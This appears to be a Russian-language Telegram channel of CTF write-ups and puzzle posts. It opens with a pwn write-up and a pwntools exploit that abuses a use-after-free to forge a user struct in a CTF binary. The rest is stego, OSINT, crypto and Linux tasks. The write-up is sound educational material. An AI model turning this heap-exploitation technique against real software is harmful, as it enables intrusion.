Райтапы по CTF{2025}
2.83K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
writeup.md
3.7 KB
#pwn
PolyCTF. Write-up "hotel" от @tonysdx

Задача на эксплуатацию хипы, а именно UAF и Type Confusion.

Зайдя в таск и немного пореверсив, мы обнаруживаем, что у нас есть следующая структура:
struct user
{
  char gap[16];
  long some_number;
  char *login;
  char *password;
};

В функциях регистрации и логина уязвимостей нет (разве что введя 128-байтовый пароль, мы можем переписать первый байт логина на 0, но это нам ничего не даст), копаем дальше.

Также есть функция read_secret, при вызове которой проверяется, что some_number у curr_user равен 31337. Легально мы получить такое значение не можем, поэтому надо эксплуатировать чанки.

Главная уязвимость кроется в функции delete_user. Суть в том, что для пользователя выделяется чанк, размером в 40 байт. Однако при удалении, мы не выходим из аккаунта и поинтер curr_user после освобождения при помощи free указывает на освобожденный чанк.

Просмотрев код далее мы находим, что в функции write_msg мы можем контролировать размер выделяемого под сообщение чанка, что открывает возможность для эксплуатации ранее найденной уязвимости. Суть в том, что на месте освобожденного чанка при следующем вызове malloc будет аллоцирован новый чанк, если там будет достаточно места. В нашем случае, освобождая чанк размером в 40 байт, мы можем аллоцировать чанк сообщения с таким же размером (чтобы места точно хватило), и тогда curr_user будет указывать на новый чанк сообщения, данные внутри которого мы контролируем. То есть в теле сообщения мы можем создать фейковую структуру пользователя, у которого some_number будет равен 31337.

Алгоритм следующий:

1) Регистрируемся и заходим в аккаунт
2) Удаляем пользователя
3) Создаем сообщение размером в 40 байт (такое же по размеру, как и чанк пользователя)
4) В сообщении создаем структуру пользователя, у которого some_number равен 31337
5) Вызываем скрытый 5 пункт меню, проходим проверку и получаем флаг

Пример сплоита:
io = remote("host", port)

def choice(index: int):
    io.sendlineafter(b"> ", b"%d" % index)

# Register
choice(2)
io.sendlineafter(b": ", b"h4ck3r")
io.sendlineafter(b": ", b"h4ck3r")

# Login
choice(1)
io.sendlineafter(b": ", b"h4ck3r")
io.sendlineafter(b": ", b"h4ck3r")

# Delete user
choice(3)

# Create message with size as user
user_struct = flat({
    0: b"chill guy",
    16: p64(31337)
})
choice(1)
io.sendlineafter(b": ", b"40")
io.sendlineafter(b": ", user_struct)

# Secret read flag
choice(5)

io.interactive()
13
drawing.wav
172.3 KB
#stegano
Сигнал из атомов

15 декабря 3479 года было синтезировано вещество, способное излучать звуковые сигналы, которые, по всей видимости, содержат скрытое сообщение. Нам удалось записать часть этих сигналов.

Формат флага: KFCctf{...}

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
5🔥1🗿1
task.py
4.7 KB
#misc
КОД-ДНК

Просто еще один инструмент для обфускации кода :)

Формат флага: KFCctf{}

Хинт:
AA-0
AC-1
...
TT-F

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
👍4🗿3💊31🙊1
Убрали новогодние таски из бота. Четыре из них были перенесены в раздел основных тасков платформы:

Дерево Санты

Сообщение от Санты

Караоке

Santa Game

Флаги для этих тасков остались прежними, и вы можете сдать их повторно, чтобы заработать баллы!
5
Forwarded from PolyCTF
🚩 Write-ups на PolyWinterCTF 2025! 🚩

Друзья, рады поделиться райтапами с прошедшего PolyWinterCTF! 🎯 Было множество интересных заданий, нестандартных решений и неожиданных подходов к их выполнению.

🔗 Ссылка на райтапы

Спасибо всем участникам и до встречи на следующих соревнованиях! 🔥
Please open Telegram to view this post
VIEW IN TELEGRAM
9
Вы все такие классные
Как мне с вами всеми повезло ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥14🥰75😁2💯1
Продолжаем рубрику #делимсятасками

@Max_RSC в нашем уютном чате поделился интересным таском с замечательной платформы DECIPHER, и двое человек уже успели его решить. К сожалению, многие подписчики нашего канала не увидели этот таск, давайте это исправим!

Мы сделали выводы из предыдущего опыта и на этот раз предусмотрительно изменили название таски, поскольку в тот раз вместо криптоаналитиков пришли осинтеры и наосинтили райтап.

#crypto
1 Key Strategy for 26 Days of Transformation
 
9 111 55555555 33 00 55555555 9 11111 11 77777 333333333 888 1 11 55 4 5555555 9

Хинт: Название таска – это попытка автора намекнуть на что-то.

Присылайте решение @Max_RSC

Не забываем также решать предыдущее задание в этой рубрике!
10👍2
Здравствуйте!

Бесплатных квантовых вычислений не хотите?

В Майямске уже школьники на квантовых компах домашки делают, а мы все с ГДЗ списываем и нейронки палкой тыкаем..
🤩3🥴2
image_2025-02-10_22-06-27.png
708.3 KB
#osint
Замок

В одной из самых грязных деревень был построен замок для двух известных личностей.

Ваша задача — выяснить, сколько миллионов долларов (например: 100) было затрачено на строительство этого замка, а также в какой стране он находится.

Формат флага: ctf{Price_Country}

Автор: @yarik_shop

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
👍105😁5🥱3🔥1👌1
image.png
171.6 KB
#misc
ШредерAPP 2

Я сделал выводы из своего прошлого опыта и купил новый шредер, но, как выяснилось, он тоже уязвим к восстановлению данных. В результате злоумышленник сумел восстановить картинку и узнать мой пароль от...

Формат флага: KFCctf{}

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
🌭7👍3
Хвастаюсь 🏄‍♂️

Я выиграл 100 звезд
Вот это шок…
Мой первый конкурс где я выиграл
Спасибо Олег!

Вот кстати его большой и крутой канал
https://t.me/haccking
Please open Telegram to view this post
VIEW IN TELEGRAM
👍94🥱3
#misc
Нестандартный QR-code

Вчера моему другу пришел QR-код, в сообщении упоминалась антискан вотермарка и что-то еще.

Формат флага: KFCctf{}.

Хинт: He1Lo=hE1lO

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
3👍1😁1👌1🗿1
#quest
Цикада 3301 (remix)

Сегодня я получил на свою электронную почту письмо, содержащее изображение, которое я прикрепил к посту, а также следующую ссылку:

https://picode.pythonanywhere.com/Cicada3301

Формат флага: KFCctf{}

Хинт: Может быть, стоит более внимательно изучить исходный код страницы?

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
🖕5👍3🗿21
Друзья, в ближайшие дни мы будем повторно публиковать старые таски, и просим вас не удивляться этому. Цель — поднять качество контента на совершенно новый уровень. Теперь задания будут включать отредактированные описания, подготовленные нашим дорогим редактором @Max_RSC. Просим понять и простить за возможные неудобства.

Также хотим вас заверить, что ваши баллы, накопленные непосильным трудом, останутся в безопасности и не подвергнутся изменениям.

Авторам тасков: если у вас возникнут вопросы или замечания по поводу внесенных изменений, обращайтесь напрямую к @Max_RSC. Мы уверены, что сможем найти решение, которое устроит всех.
👍74🌚1
#linuxadministration
Linuх для PROдвинутых 1

Вывести на stdout список директорий, содержащих хотя бы один файл с расширением .js. Искать в текущем каталоге и его подкаталогах, текущий каталог НЕ является корневым. Выводить только уникальные директории без дубликатов. Под списком директорий подразумеваются пути к этим директориям.

Присылайте решение автору @Max_RSC, он предоставит флаг, который затем нужно будет сдать боту @writeup_ctf_bot
7👌1
#linuxadministration
Linuх для PROдвинутых 2

В каталоге my_folder находятся два файла с одинаковым содержимым, но с разными именами. Задача — найти дублирующиеся файлы, основываясь на их хеш-суммах (MD5).

• Рабочий каталог — my_folder, то есть вы уже находитесь в этом каталоге и переходить в него не требуется
• Гарантируется, что в каталоге my_folder есть по крайней мере два файла с одинаковым содержимым
• Допускается использование двух последовательных команд для выполнения задания

Хинт: find my_folder [команды] – это неправильное решение. Вы уже находитесь в каталоге my_folder.

Присылайте решение автору @Max_RSC, он предоставит флаг, который затем нужно будет сдать боту @writeup_ctf_bot
7👌1
task.iso
368 KB
#linuxadministration
Linuх для PROдвинутых 3
 
К заданию прикреплен ISO-образ. Надо вычислить хеш-сумму файла ISO-образа с использованием алгоритма SHA-256, при этом:
 
• Все действия должны быть выполнены через командную строку без использования графического интерфейса.
• Команда sha256sum task.iso вызывает ошибку: sha256sum command not found.
• Команда shasum -a 256 task.iso вызывает ошибку: shasum command not found.
• Команда openssl sha256 task.iso также вызывает ошибку: openssl command not found.
• У вас нет прав на установку новых программ и инструментов.

Необходимо найти альтернативный способ вычисления хеш-суммы файла в заданных условиях, без использования перечисленных инструментов. Программирование также не допускается.

Присылайте решение @Max_RSC, он предоставит флаг, который затем нужно будет сдать боту @writeup_ctf_bot
8👌1🖕1💊1